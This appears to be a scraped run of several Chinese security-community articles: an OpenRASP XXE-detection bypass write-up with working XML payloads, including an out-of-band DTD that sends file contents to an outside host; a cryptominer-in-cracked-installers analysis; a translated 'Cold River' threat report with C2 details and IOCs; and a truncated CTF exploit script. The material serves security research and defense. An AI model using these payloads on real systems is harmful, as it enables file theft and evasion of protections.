在使用新的MISP对象生成器来生成事件属性并将其当作类属性（properties ）来添加时，你需要使用add_attribute。
当对象发送给MISP平台之后，所有的类属性都将会以JSON格式导出。
**总结**
在这篇文章中，我们给大家介绍了如何自定义Splunk的搜索命令，并从MISP这个开源的威胁情报平台获取入侵威胁指标信息。通过本文所介绍的方法，我们不仅可以进一步发挥Splunk和MISP这两种工具的作用，而且还可以提升我们的事件响应效率，感兴趣的同学还可以在文章下方留言讨论更加高效的搜索语句。 | 社区文章 |
# OpenRasp xxe算法的几种绕过方式
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
openrasp检测xxe漏洞有3种算法。本文主要是讲对“算法2 – 使用 ftp:// 等异常协议加载外部实体”与”算法3 – 使用 file://
协议读取文件”的绕过。
## 测试环境
windows / tomcat
目前openrasp最新版本是1.3.7-beta。
官网安装说明，[https://rasp.baidu.com/doc/install/software.html。](https://rasp.baidu.com/doc/install/software.html%E3%80%82)
按照官网说明安装完后，把官方提供的测试案例vulns.war放入tomcat下webapp目录即可。
此处装的是单机模式，没有管理后台，还需要修改tomcat根目录下rasp/plugins/official.js中如下配置，以开启拦截。
环境部署完后，访问vulns测试案例。响应头里面如果有openrasp字样，说明openrasp部署成功。
## openrasp xxe算法
openrasp对xxe漏洞有3种检测算法。
**算法1**
开启算法1后，openrasp会在解析器解析xml之前，通过反射调用解析器对象的setFeature()方法，让解析器不解析xml的外部实体，相当于openrasp会自动修复xxe漏洞。
以java dom方式解析xml为例
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 从效果上讲，算法1相当于openrasp会自动添加并运行下面这一行代码
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DTDs (doctypes),几乎可以防御所有xml实体攻击。
DocumentBuilder builder = factory.newDocumentBuilder();
Document d = builder.parse("src/main/resources/demo.xml"); // 解析XML
考虑到正常业务可能也会使用到外部实体，该算法默认配置是ignore，相当于关闭。
**算法2**
根据注释可以看出，算法2会通过黑名单机制检查是否使用异常协议加载外部实体。目前黑名单会检查ftp、dict、gopher、jar、netdoc这几种协议。算法2默认开启拦截。
**算法3**
从注释可以看出，算法3会检查file协议的使用情况，默认不拦截，读取不”正常”文件也只是记录日志。
## 算法3 – 使用file://协议读取文件绕过
### windows环境
默认算法3配置为log，不拦截。由于是部署在windows上，点击页面中第二个URL链接，成功读取到c:/windows/win.ini文件内容。
给007-xxe.jsp文件发送的data参数值url解码后内容如下
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>
修改official.js文件，配置算法3为block。
再次触发上述请求，openrasp就会进行拦截。
burpsuite中该请求和响应内容如下
删除请求data参数中file协议后面2个/字符，即%2F，就能成功绕过openrasp了。
删除请求data参数中file协议后面3个/字符，也能绕过。
如之前所述，正常使用file协议读取文件，xxe算法3开启后，openrasp会拦截
file:///c:/windows/win.ini
file:///etc/passwd
但使用如下方式，就能成功绕过xxe算法3了
file:/c:/windows/win.ini // 删除file协议后面2个/
file:c:/windows/win.ini // 删除file协议后面3个/
算法3还有另外一种绕过方法。
file://localhost/c:/windows/win.ini
验证如下
### Linux环境
file:/etc/passwd // 可以
file:etc/passwd // 失败
file://localhost/etc/passwd // 可以
`file:etc/passwd`没有被拦截，但也读取不到文件。但可以修改后使用下面这个payload，就能读取到/etc/passwd文件内容了。
file:../../../../../../../../etc/passwd
## 算法2 – 使用ftp://等异常协议加载外部实体绕过
算法2默认开启拦截。为了方便，把上面的算法3拦截关闭，修改为默认值log。
先拿xxe ftp的测试payload试下。给007-xxe.jsp的data参数传递如下值
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://127.0.0.1:9000/1.dtd">
%remote;
%send;
]>
<data>4</data>
1.dtd文件内容如下。（因为openrasp会拦截，所以就不用起一个ftp服务，所以ftp协议后的主机地址没改。）
<!ENTITY % payload SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;
可以看到触发了拦截。
此时只要把1.dtd文件中ftp改为netdoc，并同样删除后面2个/。修改后1.dtd的内容如下。
<!ENTITY % payload SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'netdoc:publicServer.com/%payload;'>">
%param1;
再重放上面的请求。这个时候openrasp不会拦截，但报错语句中显示了`c:/windows/win.ini`的文件内容。
这种绕过如果java关闭了报错，应该就不行了。测试时发现即使算法3也同时开启了拦截，依然会报错显示被读取的文件内容。
## 绕过原理简单分析
算法3开启拦截后，发送如下请求
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>
official.js接收到openrasp
agent传递过来的params值，其中params.entity的值是”file:///c:/windows/win.ini”。
按照”://“切割params.entity值后，生成一个数组items。items数组的第一元素保存了使用的协议，即”file”，第二元素保存了要读取的文件的位置，即”/c:/windows/win.ini”。由于items.length等于2，所以会进入下面第二个箭头处的if语句内。又由于满足下面第三个箭头处的if语句条件，所以会进入该if语句进而触发拦截。
当发送如下请求时
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:/c:/windows/win.ini" >]><foo>&xxe;</foo>
或者
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:c:/windows/win.ini" >]><foo>&xxe;</foo>
params.entity的值会是”file:/c:/windows/win.ini” 或者”file:c:/windows/win.ini”
，按照”://“进行切割，生成的items数组长度永远小于2，所以会直接运行到末尾的”return clean”处，从而绕过。
当发送如下请求时
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file://localhost/c:/windows/win.ini" >]><foo>&xxe;</foo>
上面is_absolute_path()函数中path参数值会是”localhost/c:/windows/win.ini”。linux系统情况时，path的值会是类似”localhost/etc/passwd”。分析函数代码，可以看出这种情况下is_absolute_path()函数返回值永远是false。
function is_absolute_path(path, is_windows) {
// Windows - C:\\windows
if (is_windows) {
if (path[1] == ':')
{
var drive = path[0].toLowerCase()
if (drive >= 'a' && drive <= 'z')
{
return true
}
}
}
// Unices - /root/
return path[0] === '/'
}
## 参考
[file URI scheme](https://en.wikipedia.org/wiki/File_URI_scheme)
[XXE修复方案参考](https://blog.csdn.net/oscarli/article/details/94735001) | 社区文章 |
作者：[启明星辰ADLab](https://mp.weixin.qq.com/s/S9Rbr8secGNX8A2KOFVjfA "启明星辰ADLab")
### 一、背景
启明星辰ADLab近日发现了大量知名软件的安装程序被植入挖矿病毒，该病毒背后的黑客试图通过软件共享论坛等社交渠道来发布受感染的软件安装包，我们称该恶意软件为“安装幽灵”挖矿病毒。
攻击者在多个论坛“共享”了捆绑有“安装幽灵”挖矿病毒的各类流行应用的破解版本，其中包括“Malwarebytes”、“CCleaner
Professional”和“Windows 10
Manager”等知名应用共计26种，连同不同的版本共发布有99个之多，功能涵盖系统优化、软件卸载、光盘刻录、杀毒、系统激活、资源下载等。这些应用不乏来自知名公司，如Google、Piriform和Malwarebytes等，尤其像“CCleaner
Professional”、“Speccy Professional Business
Technician”等知名应用已被数百万计的家庭和商业用户使用，并已安装在世界各地的多个国家。
因为这些应用绝大多数为付费软件，所以互联网上存在有大量该类应用的破解版本，这也正好满足了一部分用户的使用需求。不过天下没有免费的午餐，用户在享受“免费”实惠的同时，殊不知这份实惠早已在暗中标好了价格。
### 二、感染流程
“安装幽灵”挖矿病毒的感染流程如图1所示，攻击者先将包含有“安装幽灵”的破解安装包上传到“mega”、“clicknupload”、“fileupload”等多个云盘，然后将文件的下载链接通过“NITROWAR”、“MEWAREZ”等论坛进行“分享”传播，相应的软件被受害者下载安装运行后，“安装幽灵”就会启动执行。首先，“安装幽灵”将系统文件`“%Windows%\Microsoft.NET\Framework\v3.5\vbc.exe”`拷贝到系统的%temp%目录命名为svhost.exe并启动它，然后将恶意代码注入到svhost.exe进程空间。注入到svhost.exe进程空间中的恶意代码一方面创建挖矿配置文件，一方面将挖矿病毒注入到`"%Windows%\System32\wuapp.exe"`傀儡进程，最后以配置文件作为参数进行挖矿作业，隐蔽性很强。
图1 “安装幽灵”感染示意图
### 三、传播途径
我们的研究人员最初捕获到的是“Internet Download
Manager”下载管理器的一个破解安装包程序（后文简称IDM），安装完该IDM后，我们发现计算机对某远程服务器4444端口有异常连接。经过进一步分析，我们最终发现了捆绑在IDM破解安装包里面的“安装幽灵”挖矿病毒。“安装幽灵”被捆绑到破解版IDM下载器安装程序中，用户在安装IDM的过程中，它即被释放到用户的计算机上进行挖矿作业，为攻击者赚取利益。
通过溯源追踪，我们最终找到了该IDM植入版本的传播来源，该版本的下载链接被公布在国外论坛“NITRO WAR”上供用户下载。“NITRO
WAR”论坛是一个以分享“电影”、“音乐”、“游戏”、“电子书”和“应用程序”等资源为主的资源共享平台。该IDM植入版本的下载链接即被发布在该论坛的“Windows
Applications”板块下，如图2所示。
图2 IDM下载链接
我们对该IDM植入版本的下载链接统计如表1。从表1中我们可以看到，该植入版本的有效变种一共有4个，分别被上传到了“userscloud”、“mega”、“clicknupload”、“openload”和“file-upload”等多个流行的云存储空间上供用户下载。
表1 下载链接和变种
发布该植入版本的用户一共有2个账号，用户名分别为“CrackKilla”和“hefu2”，如图3。账户注册时间分别为2018年1月和2018年3月，从发布的内容和注册时间以及填写的生日来看，这两个账户很有可能是由同一个人维护。
图3 传播者注册的账户
除了该IDM植入版本外，还有“Malwarebytes”、“Advanced SystemCare Pro”、“Windows 10
Manager”、“CCleaner
Professional”和“CyberGhost”等知名应用的“激活版本”被发布。我们将这些应用统计到下表2中，应用种类共计26个，连同不同的版本共发布了99个之多，涵盖系统优化应用、软件卸载应用、光盘刻录应用、杀毒软件应用、系统激活应用、资源下载应用等，其中包括知名公司如Google、Piriform、Malwarebytes的知名应用。尤其像“CCleaner
Professional”、“Speccy Professional Business
Technician”等知名应用已被数百万计的家庭和商业用户使用，并已安装在世界各地的多个国家。
表2 发布的破解版软件
我们随机下载了“CyberGhost 6.5.0.3180 Setup +
Crack”应用，同样发现了植入在其安装包内的“安装幽灵”挖矿病毒。不难推断，这些应用程序很有可能都被植入了恶意的不限于挖矿病毒的恶意功能。
随后，我们的研究人员分别在“MEWAREZ”和“MechoPirate”两个论坛上也追踪到了CrackKilla发布的多个帖子，同样向网友“分享”了若干Windows应用程序的破解版本，如图4。
图4 其他分享论坛
### 四、挖矿病毒剖析
安装破解软件的过程中，“安装程序”在“正常安装”的同时，会先将`“%Windows%\Microsoft.NET\Framework\v3.5\vbc.exe”`拷贝到Windows系统的%temp%目录，并命名为svhost.exe（如图5），启动svhost.exe后再将恶意代码注入到其进程空间。
图5安装程序释放svchost文件
恶意代码一方面在`“%Users%\ThinkPad\AppData\Local”`目录创建“KeAgPGdPeF”文件夹，并且在“KeAgPGdPeF”目录下新建配置文件cfgi和cig，再将“安装幽灵”挖矿病毒需要的配置信息写入到配置文件如图6。
图6 恶意代码向配置文件写入配置信息
写入结果见图7，配置文件内容是以json格式保存的“安装幽灵”挖矿病毒运行需要用到的参数，从图7中我们可以看到，矿池地址为`"pool.minexmr.com:4444"`，钱包地址为`"41yPyJBBpN3BAMP5C4bYJe7MRdoWLXsiJWPrsZ2ZcERWecu1hAnFjqUgXzVvs8wJqKioKrNEWqdT2B6GBY2yA9tU9mZ5u4e"`，配置文件除了包含有矿池的地址和门罗币钱包地址等数据外还包含有重试次数、重试间隔、线程数、CPU优先级等其他配置数据。
图7 配置文件内容
恶意代码另一方面运行挖矿傀儡进程`"%Windows%\System32\wuapp.exe"` ，通过-c
`"%Users%\ThinkPad\AppData\Local\KeAgPGdPeF\cfg"`传入cfg挖矿配置文件作为参数（见图8），目的是利用注入到傀儡进程内存空间的挖矿程序XMRig
2.5.0进行挖矿作业，如图9。
图8 传入挖矿配置文件，运行挖矿傀儡进程
图9 注入到傀儡进程的挖矿程序
### 五、挖矿账户
“安装幽灵”挖矿病毒对应的钱包地址查询结果见图10，从图10中我们可以看到，该账户最近90天的算力分布图，其算力分别为：(24h) 342.97
H/s、(12h) 340.20 H/s、(1h) 482.60 H/s、(10m) 429.00 H/s，并且截止到目前，该挖矿行为依然活跃。
图10 攻击者账户的算力和收益
### 六、总结与安全建议
由于比特币和以太币等虚拟货币价格的快速增长，围绕着虚拟货币的网络攻击也逐年增加，这已经发展成为一个不可忽略的重大问题。据 BleepingComputer
统计，传播门罗币挖矿机的恶意病毒已达到几十余种，2018年，情况更加糟糕。如果用户发现自己的CPU使用量暴增，笔记本电脑突然耗电量加快，那么你的电脑很有可能被用来进行虚拟货币的挖矿行为。之前已经有不少流氓软件通过将用户电脑变成门罗币挖矿肉鸡来盈利，比如“ThePirateBay”就利用其网页中嵌入的JS代码让访问其网站的电脑使用CPU资源为它进行门罗币的挖矿行为。
用户可以在`"%SYSTEMROOT%\Users\[username]\AppData\Local\"`目录下查看是否存在"KeAgPGdPeF"目录,并且该目录下是否存在"cfg"文件来确定自己是否感染“安装幽灵”。从其门罗币钱包对应的挖矿数据来看，其挖矿行为正处于活跃阶段并且在以后的较长时间仍然会持续保持活跃状态。提醒用户不要轻易下载破解软件，使用破解软件不但不合法而且还可能给用户带来安全风险。建议用户尽量从官网下载所需应用，在不得不从第三方下载站点下载软件时，需保持高度警惕，认真甄别，防止误下恶意应用，给自己造成不必要的麻烦和损失。
* * * | 社区文章 |
# 攻击组织”Cold River”：网络流量与Agent_Drable恶意程序深度分析
##### 译文声明
本文是翻译文章，文章原作者 lastline，文章来源：lastline.com
原文地址：<https://www.lastline.com/labsblog/threat-actor-cold-river-network-traffic-analysis-and-a-deep-dive-on-agent-drable/>
译文仅供参考，具体内容表达以及含义原文为准。
我们近期在回顾一些网络异常时，发现了使用DNS隧道与C2进行通讯的攻击组织并将其命名为”Cold
River”，我们已经能解密受害者与C2的通信流量，并发现了攻击者使用的复杂诱饵文档，从而关联到了其他未知样本，并发现了攻击者使用的大量基础设施
该活动主要针对中东组织，其中大多数来自黎巴嫩和阿拉伯联合酋长国，除此之外，与这些中东国家关系密切的印度与加拿大公司也成为了目标。这次攻击中使用了新的TTP
– 例如Agent_Drable恶意程序利用Django 框架来搭建C2服务器，其技术细节将在后面的博客中披露。
我们不确定这次攻击行动背后是否有其他攻击组织提供支持，这次攻击使用了之前从未发现的新工具，我们推测这次攻击中使用的种植程序中发现的硬编码字符串”Agent_Drable”使用的是一种从右到左的语言，它引用了2007年黎巴嫩军队在“Nahr
Elbard”巴勒斯坦难民营发生的冲突，”Nahr Elbard”是”Nahr el bared”的音译，”Nahr Elbard”的英文翻译是”Cold
River”。
简而言之，”Cold River”是一种复杂的威胁，他使用了DNS子域劫持，证书欺骗，隐蔽的C2通信方式，复杂又极具迷惑性的诱饵文档以及定制化的恶意程序。
## 恶意doc文档dropper
我们发现了两个只是诱饵内容不同的恶意文档，他们拥有相同的VBA宏，相同的payload，第一个是带有恶意payload的空白文档
图1 ： 空文档截图 SHA1: 1f007ab17b62cca88a5681f02089ab33adc10eec
第二个是来自SUNCOR公司的合法人力资源文档，他们在其中添加了恶意payload和VBA宏（图2）。
图2：来自Suncor的文档的截图 SHA1：9ea865e000e3e15cec15efc466801bb181ba40a1
在收集关于回连域名0ffice36o[.]com
的开源威胁情报时，我们在推特发现了可能的关联文档，尽管这个文档并不包含相同的payload，但是推特账号的用户可能附加了错误的文档。
图3：引用第三个文档的推文：
**[https](https://twitter.com/KorbenD_Intel/status/1053037793012781061)** ：
**[//twitter.com/KorbenD_Intel/status/1053037793012781061](https://twitter.com/KorbenD_Intel/status/1053037793012781061)**
表一列出的时间戳倾向于证实Suncor文档是带有payload的合法文档的假设:文档创建时间足够久远，最后的保存时间与攻击事件相符，空文档很可能被用于测试宏或者在Suncor之外的环境投递payload。
SHA1 | 描述 | 创作时间 | 最后保存的时间
---|---|---|---
1f007ab17b62cca88a5681f02089ab33adc10eec | 空文件 | 2018-10-05 07:10:00 |
2018-10-15 02:59:00
9ea865e000e3e15cec15efc466801bb181ba40a1 | Suncor 诱饵 | 2012-06-07 18:25:00 |
2018-10-15 22:22:00
## 行为分析
VBA宏保持简洁但是有效，宏被分为两部分，一个在文档打开时执行，另一个在文档关闭时执行。实际payload不直接存储在VBA代码中，而是隐藏在文档中的表单中。
打开Suncor文档时，用户必须启用宏执行才能查看其真实内容。这使得允许宏执行对于普通用户是合理的。唯一的混淆是使用了字符串拼接，例如“ t”＆“
mp”，“ Microsoft.XML” & “ DOM”，“ userp” & “ rofile”等。
恶意宏包含一些基本的反沙箱代码，使用Application.MouseAvailable检查计算机上是否有鼠标可用。宏的整体流程如下:
当文档打开时:
1. 检查Environ(“userprofile”)\\.oracleServices\svshost_serv.exe是否存在。
如果存在则退出，不存在则继续执行
2. 如果Environ(“userprofile”)\\.oracleServices目录不存在，则创建该目录。
3. 读取UserForm1.Label1.Caption中存储的base64编码payload
4. 解码并写入Environ(“userprofile”)\\.oracleServices\svshost_serv.doc。
5. 显示文档内容。
在文件关闭时：
1. 将释放的”svshost_serv.doc”文件重命名为”svshost_serv.exe”
2. 创建一个名为”chrome updater”的每分钟执行EXE文件的计划任务
最后一个有趣的事情是，设置计划任务的一部分代码为从网上复制而来
## Payload与C&C通信
我们发现了两个相关的Payload，如表2所示，两个payload的主要区别是其中一个有事件记录功能，这让我们更容易的确定恶意程序的功能，也可能是早期开发的调试版本，Suncor文档中的payload并没有记录功能。
SHA1 | 描述 | 编译时间戳
---|---|---
1c1fbda6ffc4d19be63a630bd2483f3d2f7aa1f5 | 带有日志信息的payload | 2018-09-03
16:57:26 UTC
1022620da25db2497dc237adedb53755e6b859e3 | 没有日志信息的payload | 2018-09-15
02:31:15 UTC
表2: Agent_Deable payload
二进制文件中发现了一个有趣的字符串”AgentDrable.exe”，这个字符串就是PE头中的导出表中的Dll
Name字段的值，这个字符串在攻击行动的其他部分也有出现，比如基础架构配置，我们几乎可以确认这是攻击者为恶意程序起的代号，除了近期出现在少数在线分析平台的提交之外，很少有证据指向”Agent
Drable”，一个假设是他被称为”Elbard”。
两个样本的编译时间戳也很有趣。我们必须充分意识到时间戳很容易被伪造，但是，这些时间戳可以在二进制文件的多个位置找到（调试目录，文件头），并且与攻击事件中的其他部分相符合。我们将所有dropper和payloadde
的有效时间戳放在图4中。
图4：请注意，WORD_1的创建时间戳被省略，正在进一步溯源（2012）。
一个有趣的事实是没有日志记录功能的样本的编译时间戳与被嵌入文件的两个word文档的最后保存时间相匹配，这意味着他们可能在编译了最终版本的恶意程序之后直接嵌入了文档以便投递。
两个恶意文档都是在几天后从黎巴嫩被上传到VirusTotal，总之这个时间表显示了一个连贯的故事，这表示攻击者没有修改任何时间戳，这完成了对整个攻击事件的全局视野，当我们在对比攻击者使用的C2结构时将会提供其他的信息。
## 被释放的可执行的文件 – 行为分析
被释放的可执行文件主要被用作侦察工具，在二进制文件中没有发现高级功能(比如没有屏幕监控或者键盘记录)，该文件的主要功能如下:
1. 运行C&C下发的命令并返回执行结果
2. 下载并执行指定文件
3. 文件窃取
在文件中发现了硬编码的一个IP和一个域名以及一个User-Agent
0ffice36o[.]com (明显在模仿合法的 office360[.]com)
185.161.211[.]72
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
被植入的程序有两种与C&C通信的方式
1. DNS请求
2. HTTP(s) GET/POST
第一次执行默认为DNS通信，之后根据收到的命令，它可能会切换到HTTP
因为恶意文档创建了计划任务，这个程序每分钟都会执行一次，每次开始运行时都会检查如下子目录是否存在，如果不存在则会创建
.\Apps
.\Uploads
.\Downloads
“Uploads”和”Downloads”目录的功能和他们的名字一样，任何位于”Apps”目录中的可执行文件在被投递的程序执行时也会执行。
所有的配置信息都使用JSON和cJSON库处理，键值名是通用的，使用一个或两个字母(‘a’，’m’，’ul’)，但是我们设法得到了如表3所示的完整的列表，配置信息存储在”Configure.txt”中，在每次开始执行时都会被检索。
参数名称 | 解释
---|---
a | 运行模式 (DNS/HTTP)
m | 最大查询长度，用于将过长的DNS请求分割为多个较短的请求
f | 阶段
c | DNS计数器
h | 根目录，子目录与配置文件被创建的位置
u | HTTP C&C 资源路径
s | HTTP C&C IP地址
d | DNS C&C 域名
p | HTTP C&C 端口号
l | 连接种类，HTTP 或者 HTTPS
i | 受害者ID (两个字符)
k | 自定义的base64字符表
表3 : JSON配置参数
为了与DNS C&C通信，样本会对特定子域名进行DNS查询，例如以下就是来自不同受害者的一些DNS查询:
crzugfdhsmrqgq4hy000.0ffice36o[.]com
gyc3gfmhomrqgq4hy.0ffice36o[.]com
svg4gf2ugmrqgq4hy.0ffice36o[.]com
Hnahgfmg4mrqgq4hy.0ffice36o[.]com
6ghzGF2UGMD4JI2VOR2TGVKEUTKF.0ffice36o[.]com
子域名遵循特定的模式:它们由4个随机alphadecimal字符与base32编码的payload组成，当应用于上面列出的子域名时，我们得到:
子域名 | 明文
---|---
crzugfdhsmrqgq4hy000 | 1Fy2048|
gyc3gfmhomrqgq4hy | 1Xw2048|
svg4gf2ugmrqgq4hy | 1uC2048|
6ghzGF2UGMD4JI2VOR2TGVKEUTKF | 1uC0|J5WGS5TJME
前三个明文只通过两个不同的字母区分: Fy /Xw
/uC，这是样本生成的受害者ID，这使得C&C可以分辨请求来源，它是通过用户名与主机名生成，因此会在样本执行期间保持不变，同样的ID也会应用于HTTP通讯。
在DNS模式下，样本仅通过这些特定子域名与C&C通信并通过解析返回的IP地址来获取指令，HTTP通信模式更加高级，请求与应答分别使用GET与POST，默认情况下，样本拼接的URL格式为[http://[CNC_IP]/[RESOURCE_PATH]?id=[ID](http://%5BCNC_IP%5D/%5bRESOURCE_PATH%5d?id=%5bID)]，参数解释如下:
参数 | 默认值 | 注意事项
---|---|---
CNC_IP | 185.161.211[.]72 | 此IP可以更新
RESOURCE_PATH | /index.html | 此路径可以更新
ID | Fy | 这个ID与受害者绑定
存储在二进制文件中的硬编码C&C IP在分析时处于离线状态，我们找到了另一个活跃C&C 185.20.184.138 图5为浏览器访问C&C的截图
图5: 假冒的Wikipedia页面
C&C命令隐藏在HTML注释或特定标记内并且使用自定义base64字母表进行编码，下面就是页面源代码的一段摘录，其中展示了编码后的数据
解码后会得到下面的JSON对象并从中提取指令
这些命令显示了攻击者在继续入侵之前执行主机侦察的典型步骤，完整的包含指令或命令的tag的列表如表4。
标签
|
描述
---|---
<!–[DATA]–> |
Base64编码后的json内容
<link href=”[DATA]”> |
需要下载的资源路径
<form action=”[DATA]” |
需要POST回复的资源路径
<style>/*[DATA]*/</style> |
<script>/*[DATA]*/</script> |
表4:从页面提取的tags列表
HTTP C&C由打开了调试模式的Django框架驱动，由于配置错误，可以收集一些用于显示整个基础架构的额外信息，表5显示了所有可以访问的页面
路径 | 描述
---|---
/index.html (GET) | 获取指令与配置参数
/Client/Login (GET) | 获取自定义base64字母表
/Client/Upload (POST) | 上传窃取的数据或者命令执行结果
/Client/Download/<str:url> |
/DnsClient/Register |
/DnsClient/GetCommand |
/DnsClient/SendResult |
/DnsClient/SendNotification |
/static/ |
^\\.well\\-known\/acme\\-challenge\/(?P<path>.*)$ | 用于生成let的加密证书
表5:可以访问的页面列表
除了所有的资源路径，调试模式还泄露了所有环境变量和一些Django内部设置。最有趣的值列于表6和表7中（完整列表可根据要求提供）：
键值名称 | 值 | 解释
---|---|---
PWD | /root/relayHttps | 有趣的目录名
PATH_INFO | /static/backup.zip | 带有密码的数据库备份
SERVER_NAME | debian |
SERVER_SOFTWARE | WSGIServer/0.2 |
SHELL | /usr/bin/zsh |
SSH_CLIENT | 194.9.177[.]22 53190 22 | 泄露了他们的VPN服务器的IP
表6：由于Django实例配置错误而泄露的环境变量。
键值名称 | 值 | 解释
---|---|---
LOGIN_URL | /accounts/login/ |
MAGIC_WORD | microsoft | 未知
PANEL_PATH | /Th!sIsP@NeL |
PANEL_PORT | :7070 |
PANEL_USER_NAME | admin |
DATABASES | /root/relayHttps/D b.sqlite3 |
SERVER_PORT | :8083 |
SERVER_URL | https://185.20.184[.]157 | 泄露的未知用途IP
表7：由于Django实例配置错误而泄露的设置。
我们可以再一次发现对”drable”的使用，这次是用于从底层数据库获取数据的查询语句的一部分。
SELECT COUNT(*) AS “__count” FROM “Client_drable”
WHERE “Client_drable”.”relay_id” = %s
---
## 基础设施
根绝C&C泄露的信息以及额外的被动DNS数据，我们能够高度确定几台属于攻击行动基础设施的主机，一个有趣的事实是他们都属于同一个自治系统，Serverius
N(AS 50673)，并由Deltahost托管，除此之外，所有的域名都通过NameSilo注册
IP | 描述
---|---
185.161.211[.]72 | 硬编码HTTP C&C，在分析时未使用。
185.20.187[.]8 | 主要用于生成Let的加密证书。端口443仍然以memail.mea.com [。]
lb应答。端口444具有memail.mea.com [.] lb的“GlobalSign”证书。
185.20.184[.]138 | 存活的HTTP C&C。端口80和443返回Django调试信息。
185.20.184[.]157 | 未知用途。端口7070存在受基本身份验证保护的https页面，证书CN是“ kerteros
”，端口8083为Web服务器 ，但仅返回空白页。
185.161.211[.]79 | 存放人力资源相关钓鱼域名hr-suncor [.] com和hr-wipro [.] com，现在重定向到合法网站。
194.9.177[.]22 | Openconnect VPN用于访问HTTP CnC。
通过将这些IP地址与DNS解析相关联（参见附录A中的时间表），我们确定了三个最有可能用于投递第一阶段攻击文档的三个域名；
hr-suncor[.]com
hr-wipro[.]com
files-sender[.]com
这些看起来相似的域名与攻击中使用的Suncor文档模板很匹配。我们还没有找到任何关联到Wipro的文件。我们还发现来自政府的AE和LB域名到185.20.187
[.]8的短时间可疑DNS解析。
通过将此数据与来自<https://crt.sh>的证书生成记录进行关联分析，我们可以得出结论，攻击者设法接管了这些域名的DNS入口并生成多个”Let’s
encrypt”证书，这允许他们透明拦截任何TLS交换。
域名 | **证书** | **重定向日期**
---|---|---
`memail.mea.com[.]lb` | <https://crt.sh/?id=923463758> | `2018-11-06`
`webmail.finance.gov[.]lb` | <https://crt.sh/?id=922787406> | `2018-11-06`
`mail.apc.gov[.]ae` |
[`https://crt.sh/?id=782678542`](https://crt.sh/?id=782678542) | `2018-09-23`
`mail.mgov[.]ae` | <https://crt.sh/?id=750443611> | `2018-09-15`
`adpvpn.adpolice.gov[.]ae` | <https://crt.sh/?id=741047630> | `2018-09-12`
## 结论
总之，Cold
River是一个复杂的攻击组织，恶意使用DNS隧道作为C&C通信方式，极具欺骗性的诱饵文档，以及之前未知的投递木马，攻击行动主要针对来自中东组织，主要来自黎巴嫩和阿拉伯联合酋长国，但是和这些中国国家关系密切的印度和加拿大公司也可能成为目标。
Cold River提醒了我们威胁情报多样化和情景化的重要性，如果不与行为情报和流量分析相结合，对Cold
River的完全揭露将无法实现，从而使受害者面临更多危险
## IOC
### 恶意文档
9ea865e000e3e15cec15efc466801bb181ba40a1 (Suncor 文档)
678ea06ebf058f33fffa1237d40b89b47f0e45e1
### Payloads
1022620da25db2497dc237adedb53755e6b859e3 (文档 Payload)
1c1fbda6ffc4d19be63a630bd2483f3d2f7aa1f5 (带有日志功能)
### IP地址
185.161.211[.]72
185.20.184[.]138
185.20.187[.]8
185.20.184[.]15
185.161.211[.]79
194.9.177[.]22
104.148.109[.]193
### 网站域名
0ffice36o[.]com
hr-suncor[.]com
hr-wipro[.]com
files-sender[.]com
microsoftonedrive[.]org
### 证书域名
memail.mea.com[.]lb
webmail.finance.gov[.]lb
mail.mgov[.]ae
adpvpn.adpolice.gov[.]ae
Mail.apc.gov[.]ae
### 生成的证书
https://crt.sh/?id=923463758
https://crt.sh/?id=922787406
https://crt.sh/?id=782678542
https://crt.sh/?id=750443611
<https://crt.sh/?id=741047630>
### User-Agent
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
### 文件路径
%userprofile%\\.oracleServices\Apps\
%userprofile%\\.oracleServices\Configure.txt
%userprofile%\\.oracleServices\Downloads\
%userprofile%\\.oracleServices\log.txt
%userprofile%\\.oracleServices\svshost_serv.doc
%userprofile%\\.oracleServices\svshost_serv.exe
%userprofile%\\.oracleServices\Uploads\
### 计划任务
Name: “chrome updater”
Description: “chromium updater v 37.5.0”
Interval: 1 minute
Execution: “%userprofile%\\.oracleServices\svshost_serv.exe”
### 附录A: DNS解析时间表 | 社区文章 |
> 我们是Eur3kA战队，也是联合战队r3kapig的r3ka，我们成立于HCTF 2017 Qual 前夕并夺得HCTF 2017
> Qual冠军。这周末我们参与了HCTF 2018 Qual并成功卫冕。
> 我们战队长期招新，尤其是misc/crypto/web方向，我们非常期待新的大佬加入并一起冲击明年的DEFCON
> CTF。感兴趣的大佬请联系[email protected]。
## Pwn
### Printf
给了binary的地址，又可以控制`stdout`, 为所欲为啊
1. leak libc
2. 利用file struct来任意地址写
from pwn import *
local=0
pc='./babyprintf_ver2'
remote_addr=['150.109.44.250',20005]
aslr=True
context.log_level=True
libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
